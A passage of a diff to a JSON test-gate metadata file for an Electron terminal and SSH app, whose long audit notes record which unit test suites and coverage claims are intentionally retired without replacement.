+        "Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope.",
+        "Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope.",
+        "Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope."
       ],
       "demotionRule": "Cannot promote without metric artifacts and bounded-byte assertions."
     },
@@ -9602,9 +9348,9 @@
       ],
       "platforms": ["macos", "linux", "windows"],
       "providers": ["ssh", "remote-runtime", "wsl"],
-      "coveredPlatforms": ["macos"],
+      "coveredPlatforms": ["linux"],
       "coveredProviders": ["ssh", "remote-runtime"],
-      "coverageNotes": "Audit3096: remove the deleted reconnect-banner selector and its two UI aliases. The reduced recovery-state selector retains only the deadline cancelling pending backoff and explicit retry owning a new epoch alias; healthy-replacement stale-schedule and independent caller-cutoff cancellation aliases retire. Other retained state cases cover reentrant retry, owner settlement and same-epoch parked revival, without replacing those removed alarms. Prior admission-selector retirement, archived July 28 receipt, unrelated selectors/claims/receipts and old gaps remain unchanged; no fresh execution is claimed. Audit3086: retire the destroyed fresh-session fallback settlement/non-destructive reattach alias and its direct selector; retain the detach/attach selector and assertion unchanged. The retained admission cases cover adopt-before-data and explicitly buffered-death admission without a new spawn, without replacing fallback retirement. July 28 evidence was already archived by audit3077; no duplicate retirement or new execution is claimed. Audit2709 removes src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts: intentionally retire waiting out an older inventory and sharing a fresh post-operation request among concurrent callers. No equivalent replacement or fresh execution is claimed. Dated receipts remain historical evidence for their unchanged selectors only; they do not validate the reduced commands or full current gate. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/ssh/connection/ssh-connection-manager.test.ts: tears a failed startup down quietly, so its error is not replaced by a disconnect; marks a dial that never reached the host, so setup reports SSH’s reason; removes the registration when bulk teardown fails; leaves a connection whose own reconnect is asking the user alone; clears the pool entry when the closed connection is still the registered one; still reuses a connection that is already up; dials a user's connection test. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the terminal-create idempotency forwarding suite and its prospective selector. Preserve2 unrelated receipts without claiming the lost forwarding alarm was replaced. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Delete the sole supplied public-SSH-state spread/sanitized-error projection and its provider-authority-pair alias. Also delete the complete tiny one-shot split-startup wrapper suite: callback-visible temporary field/reset, sequential payload and thrown-sentinel reset alarms disappear. No SSH provider epoch handoff, connection, process startup or actual terminal split was performed by either deleted suite. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1903 removes whole mocked detach, supplied geometry and/or close-request suites selected by this gate. Their pending-CWD/PTY-binding argument/order, fabricated hit-test and close bookkeeping alarms are intentionally lost without replacement. Valid remaining selectors/assertions and unchanged-selector execution receipts retain their original scope. Reduced unit selections have no fresh broad gate, real PTY/provider, rendered focus, or measured-budget validation. Historical prior account (preserved verbatim): Audit1645 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1301 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic renderer coverage proves retained native and runtime SSH payloads are admitted through production routes only with valid complete authority, stale cleanup cannot unregister a replacement runtime terminal, direct SSH Git and folder panes keep their PTY bindings through disconnect and reconnect, one authority chain stops after two automatic attempts even when each timeout exceeds the rolling window, rejected acknowledgements mutate no store maps, and one shared exact attempt admits every concurrent split-pane spawn and reattach while preserving the first PTY as the tab fallback. A later sibling failure rotates the tab once, stale callbacks from the prior attempt mutate no state, split remount activity suppression is counted per leaf, primary PTY exit promotes a bound survivor or preserves an empty continuation gap for a late sibling, and primary, non-primary, or null-PTY detach preserves exact authority on both resulting tabs. Intentional pane disposal cancels its settlement timer without breaking StrictMode remount timeout ownership. A mounted remote-runtime terminal survives repeated transport partitions without changing PTY identity. A real encrypted-WebSocket oracle proves a successful reachability probe can replace a pre-ready shared-control socket without rejecting or duplicating the waiting RPC. Direct SSH coordinator tests cover immediate terminal finalization, hydration correction, damping, bounded retry, and telemetry non-interference. Client/server heartbeat tests cover timer suspension, socket generations fence stale callbacks, cold restored-terminal attachment retries, cached pixels remain unhealthy until authoritative replay, automatic retries stop after one minute, manual reconnect preserves the PTY, and pane closure releases recovery UI state. Current-transport recovery clears every error that transport surfaced without clearing or displaying a sibling pane's errors, while transport suppression, pane retention, and the rendered surface are independently bounded. Current macOS Electron journeys against an ephemeral Linux Docker SSH target cover exact-authority repo/worktree hydration, live terminal recovery after disconnect/reconnect, and eager six-terminal remount after renderer reload. A Windows remote-runtime smoke covers reachability and PTY round-trip. Multi-target live fanout, paired-close, WSL, and patched live partition journeys remain gaps. The test-value audit narrowed resolved-worktree-execution-host.test.ts to cache reuse and invalidation. Its direct hydrated-worktree, missing-folder, restored-owner, host-stamp and empty-runtime selection alarms are lost. Other routing and recovery suites do not establish equivalent selector coverage; historical run commands and results remain historical. The test-value audit removes standalone unwritten/released renderer-authority and cross-scope request-count examples. The retained synthetic mirror/store/sidebar and pending-inventory checks do not establish real PTY byte ownership, SSH reconnection or equivalent replacement coverage; historical commands and results remain historical. The test-value audit removes direct join/label ledgers, immediate failure and negative-only stale/removal/partial-authority examples, plus the standalone retained/live event projection. Retained synthetic store/hydration compositions do not establish real SSH continuity, remote authority delivery or equivalent replacement alarms. Historical commands and results remain historical. The renderer scheduling fixture retains in-flight coalescing only. Its immediate publication and negative stale-SSH-cleanup call ledgers were removed; the retained SSH recovery evidence does not replace those alarms. The accepted-handle-events observer suite is removed, including its scoped listener and settlement-release assertions. These observer alarms are lost; retained SSH/transport journeys are not equivalent replacement coverage. The test-value audit removed repeated remote-handle rotation inventories and snapshot-first pending-restart migration examples from terminal-pty-identity-replacement.test.ts, plus direct foreground metadata setter, confirmation, evidence-enum, and prefix/worktree cleanup examples. Those rotation, pending-restart, snapshot-first migration, and foreground scalar-update alarms are lost. The retained replacement case observes pane and tab identities in one subscriber publication; it does not establish equivalent migration, process-evidence, or input-routing coverage. Historical commands and results remain historical. The test-value audit narrows terminals-hydration.test.ts to a real reconnect batch with one measured store publication and hydration-seeded history consumed by a subsequent visit/Back check. Direct split-layout, runtime/folder/floating restoration, dead-leaf focus, cold/known-absent SSH deferral, title, default-tab marker, navigation initialization, and hydrationSucceeded scalar examples are removed; those specific alarms are lost. No actual target-removal transition, live SSH connection, session writer, or persisted restart is exercised by the retained cases. The old target-scoped/snapshot assertion references are retired because the current file does not contain those oracles. Other suites and historical runs do not establish equivalent replacement coverage. Audit1299 removes tests/e2e/terminal-cold-activation-deferral.spec.ts. Private-state/work-budget/assembled-fixture alarms are intentionally lost; retained suites are not equivalent replacement coverage. No new runtime/platform evidence is claimed. Audit1301: src/renderer/src/runtime/remote-runtime-session-tabs-inflight.test.ts reduced. Direct dedupe eviction/count and equal receipt-position sample loses authored alarm. No equivalent replacement coverage is claimed. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1342: src/renderer/src/hooks/ipc-events/direct-ssh-connect-reply-routing.test.ts removed. Initial and event-triggered partial-authority hydration fixture alarms disappear. src/renderer/src/components/terminal-pane/terminal-error-accumulation.test.ts removed. Multiline dedup/storm bounds, resource classification/collision, scoped clear/reconnect strip and1000-pane map count alarms disappear. No equivalent replacement coverage is claimed. Audit1396: src/renderer/src/components/terminal-pane/pty-connection-pending-spawn.spec.ts reduced. Lose standalone debug-state retention/log silence alarm. React StrictMode is not mounted; bindings manually simulate remount over mocked transport. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1400: src/main/ipc/ssh/ssh.test.ts reduced. Lose trivial missing target and mocked publication inventory. Preexisting unresolved ../ssh/ssh-port-scanner mock is recorded, not fixed. src/renderer/src/runtime/sync-runtime-graph-scheduling.test.ts removed. Removes whole coalescing call-count suite; no newest-state delivery or replacement claim. src/renderer/src/store/slices/terminal-pty-identity-replacement.test.ts reduced. Removes three no-op/work-count registrations; retains externally observed ownership consistency. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1412: src/main/ssh/ssh-provider-authority.test.ts removed. Loses real AbortController revocation/target isolation/reentrancy outcomes, recreated-target generation-floor/session rollover behavior, stale mutation refusal and settled-registration cleanup alarms. These useful alarms are deliberately lost; no equivalent cancellation coverage is claimed. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1743 removes the standalone line-height clamp/default and pane cwd fallback helper tests (5 authored cases). These trivial-helper alarms are intentionally lost, with no equivalent replacement. Only current commands/testFiles lose the deleted selectors; historical receipts and evidenceRuns remain unchanged and do not validate the reduced commands.",
+      "coverageNotes": "Audit3368 narrows stream-reconnect coverage to the actual ten synthetic transport epochs retaining one PTY identity, accepting and holding detached input for exactly-once later delivery, current decoded output and per-epoch subscription release. Prior rejection wording was inaccurate. Phase/backoff/cutoff/manual reconnect and parser/OSC/pause/retained-image/fatal/latch/claim/early-close alarms are intentionally lost without equivalent replacement. The Linux multi-pane reconnect receipt remains verbatim with its original scope; no fresh live SSH/provider/PTY/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires whole host-surface-replacement and create-handoff suites, removing their compound unit command tokens, test-file entries and assertion references. Fake polling/deadline/subscription, supplied stale-handle ownership, close and replacement examples are intentionally lost without equivalent replacement. The unrelated Linux paired multi-pane reconnect receipt stays verbatim with its original scope. No fresh SSH/provider/network/PTY recovery, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit3342 retires the complete client create-outcome identity/options/recovery suite and the malformed-or-contradictory repo-owner response matrix. Client replay identity, options, no-downgrade, quiescence/budget/manual retry, authoritative probe-error and malformed-owner refusal alarms are intentionally lost without equivalent replacement. Remaining repo-owner late catalog and old-host re-adoption boundaries do not replace them. The unrelated Linux paired-reconnect receipt stays verbatim with its original scope. Surviving selectors are unexecuted here; no fresh SSH/provider/process-deduplication, mobile, mixed-version or cross-platform validation is claimed. Audit3329 execution amendment: the reduced one-suite reconnect selector passed on Linux (1 case). Original source-review statements about no fresh execution describe the earlier static review; this new receipt validates only this one local deterministic unit case, not the complete gate or physical/runtime/rendered/provider/platform parity. Historical seven-case macOS and two-case Linux receipts remain archived verbatim. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: keeps a sidebar row for every still-live pane after a long sleep — Whole suite: 279 lines manually replay renderer ownership registry/status writes, snapshot patch/set, six-pane fixture inventory, and sidebar selectors/builders; expected pane IDs are production-computed. Does not run sleep/wake/transport or actual sidebar entry. Retires reconnect row-preservation assembly alarm.; still retires the regular TUI surface after an explicit terminal exit — Ordinary explicit-exit callback/map cleanup is repeated in the stale/new stream lifecycle case below. Retires separate regular-TUI baseline; keeper is not equivalent process/UI proof.; asks the HUB to recover an expired SSH pane and rebinds the host identity — Expired SSH owner error must ask the owning HUB to recover, then adopt fixed replacement handle, resubscribe and report rebind; actual transport dispatch and handle state prevent wrong-client recovery.; does not recover a pane whose relay reply was an identity mismatch — Identity mismatch means a different live PTY, so actual transport must surface refusal without recover/create, keeping original identity. Prevents destructive duplicate agent recovery.; fails closed when an older HUB cannot recover an expired SSH pane — Old HUB method_not_found is scripted mock refusal/error echo with no actual skewed host; repeats generic recovery failure propagation. Retires old-host recovery fallback refusal example.; names a held recovery's stopped WSL distro in readable copy, not the raw hold code — Pins exact WSL stopped-distro error prose after mock code; translation/copy assertion with no actual held recovery behavior. Retires readable-copy alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces runtime-environment-ssh-state.test.ts, intentionally losing metadata membership-pruning/new-target-only-read and other-environment/local-bucket isolation alarms. Preserve generation/failed-full-refresh assertion and unknown-target authoritative-list reread; these narrower cases are not equivalent replacements. The unchanged active two-case Linux reconnect materialization/sidebar receipt and covered platform retain their exact scope and do not validate the reduced SSH state selector. Preserve unrelated SSH assertions, selectors and archived history. No fresh SSH discovery, provider/PTY/network, rendered, mobile, mixed-version, cross-platform or full-gate execution is claimed. Audit3315 execution amendment: the reduced two-suite reconnect selector passed on Linux (2 cases). Original source-review statements about no fresh execution describe the earlier static review; this new receipt validates only these two local deterministic unit cases, not the complete gate or physical/runtime/rendered/provider/platform parity. Historical seven-case macOS receipt remains archived verbatim. Audit 3312 retires the ordinary six-pane distinct-live-handle reconnect/resubscription alarm from paired-reconnect-multi-pane-materialization.test.ts. The unchanged parked-pane activation/rematerialization case remains narrower and is not an equivalent replacement. The complete prior seven-contract macOS receipt is archived as historical evidence; it does not validate the reduced selector. No fresh socket, PTY, sleep/wake, provider, platform, mobile, mixed-version or rendered execution is claimed. Audit3096: remove the deleted reconnect-banner selector and its two UI aliases. The reduced recovery-state selector retains only the deadline cancelling pending backoff and explicit retry owning a new epoch alias; healthy-replacement stale-schedule and independent caller-cutoff cancellation aliases retire. Other retained state cases cover reentrant retry, owner settlement and same-epoch parked revival, without replacing those removed alarms. Prior admission-selector retirement, archived July 28 receipt, unrelated selectors/claims/receipts and old gaps remain unchanged; no fresh execution is claimed. Audit3086: retire the destroyed fresh-session fallback settlement/non-destructive reattach alias and its direct selector; retain the detach/attach selector and assertion unchanged. The retained admission cases cover adopt-before-data and explicitly buffered-death admission without a new spawn, without replacing fallback retirement. July 28 evidence was already archived by audit3077; no duplicate retirement or new execution is claimed. Audit2709 removes src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts: intentionally retire waiting out an older inventory and sharing a fresh post-operation request among concurrent callers. No equivalent replacement or fresh execution is claimed. Dated receipts remain historical evidence for their unchanged selectors only; they do not validate the reduced commands or full current gate. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/ssh/connection/ssh-connection-manager.test.ts: tears a failed startup down quietly, so its error is not replaced by a disconnect; marks a dial that never reached the host, so setup reports SSH’s reason; removes the registration when bulk teardown fails; leaves a connection whose own reconnect is asking the user alone; clears the pool entry when the closed connection is still the registered one; still reuses a connection that is already up; dials a user's connection test. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the terminal-create idempotency forwarding suite and its prospective selector. Preserve2 unrelated receipts without claiming the lost forwarding alarm was replaced. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Delete the sole supplied public-SSH-state spread/sanitized-error projection and its provider-authority-pair alias. Also delete the complete tiny one-shot split-startup wrapper suite: callback-visible temporary field/reset, sequential payload and thrown-sentinel reset alarms disappear. No SSH provider epoch handoff, connection, process startup or actual terminal split was performed by either deleted suite. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1903 removes whole mocked detach, supplied geometry and/or close-request suites selected by this gate. Their pending-CWD/PTY-binding argument/order, fabricated hit-test and close bookkeeping alarms are intentionally lost without replacement. Valid remaining selectors/assertions and unchanged-selector execution receipts retain their original scope. Reduced unit selections have no fresh broad gate, real PTY/provider, rendered focus, or measured-budget validation. Historical prior account (preserved verbatim): Audit1645 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1301 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic renderer coverage proves retained native and runtime SSH payloads are admitted through production routes only with valid complete authority, stale cleanup cannot unregister a replacement runtime terminal, direct SSH Git and folder panes keep their PTY bindings through disconnect and reconnect, one authority chain stops after two automatic attempts even when each timeout exceeds the rolling window, rejected acknowledgements mutate no store maps, and one shared exact attempt admits every concurrent split-pane spawn and reattach while preserving the first PTY as the tab fallback. A later sibling failure rotates the tab once, stale callbacks from the prior attempt mutate no state, split remount activity suppression is counted per leaf, primary PTY exit promotes a bound survivor or preserves an empty continuation gap for a late sibling, and primary, non-primary, or null-PTY detach preserves exact authority on both resulting tabs. Intentional pane disposal cancels its settlement timer without breaking StrictMode remount timeout ownership. A mounted remote-runtime terminal survives repeated transport partitions without changing PTY identity. A real encrypted-WebSocket oracle proves a successful reachability probe can replace a pre-ready shared-control socket without rejecting or duplicating the waiting RPC. Direct SSH coordinator tests cover immediate terminal finalization, hydration correction, damping, bounded retry, and telemetry non-interference. Client/server heartbeat tests cover timer suspension, socket generations fence stale callbacks, cold restored-terminal attachment retries, cached pixels remain unhealthy until authoritative replay, automatic retries stop after one minute, manual reconnect preserves the PTY, and pane closure releases recovery UI state. Current-transport recovery clears every error that transport surfaced without clearing or displaying a sibling pane's errors, while transport suppression, pane retention, and the rendered surface are independently bounded. Current macOS Electron journeys against an ephemeral Linux Docker SSH target cover exact-authority repo/worktree hydration, live terminal recovery after disconnect/reconnect, and eager six-terminal remount after renderer reload. A Windows remote-runtime smoke covers reachability and PTY round-trip. Multi-target live fanout, paired-close, WSL, and patched live partition journeys remain gaps. The test-value audit narrowed resolved-worktree-execution-host.test.ts to cache reuse and invalidation. Its direct hydrated-worktree, missing-folder, restored-owner, host-stamp and empty-runtime selection alarms are lost. Other routing and recovery suites do not establish equivalent selector coverage; historical run commands and results remain historical. The test-value audit removes standalone unwritten/released renderer-authority and cross-scope request-count examples. The retained synthetic mirror/store/sidebar and pending-inventory checks do not establish real PTY byte ownership, SSH reconnection or equivalent replacement coverage; historical commands and results remain historical. The test-value audit removes direct join/label ledgers, immediate failure and negative-only stale/removal/partial-authority examples, plus the standalone retained/live event projection. Retained synthetic store/hydration compositions do not establish real SSH continuity, remote authority delivery or equivalent replacement alarms. Historical commands and results remain historical. The renderer scheduling fixture retains in-flight coalescing only. Its immediate publication and negative stale-SSH-cleanup call ledgers were removed; the retained SSH recovery evidence does not replace those alarms. The accepted-handle-events observer suite is removed, including its scoped listener and settlement-release assertions. These observer alarms are lost; retained SSH/transport journeys are not equivalent replacement coverage. The test-value audit removed repeated remote-handle rotation inventories and snapshot-first pending-restart migration examples from terminal-pty-identity-replacement.test.ts, plus direct foreground metadata setter, confirmation, evidence-enum, and prefix/worktree cleanup examples. Those rotation, pending-restart, snapshot-first migration, and foreground scalar-update alarms are lost. The retained replacement case observes pane and tab identities in one subscriber publication; it does not establish equivalent migration, process-evidence, or input-routing coverage. Historical commands and results remain historical. The test-value audit narrows terminals-hydration.test.ts to a real reconnect batch with one measured store publication and hydration-seeded history consumed by a subsequent visit/Back check. Direct split-layout, 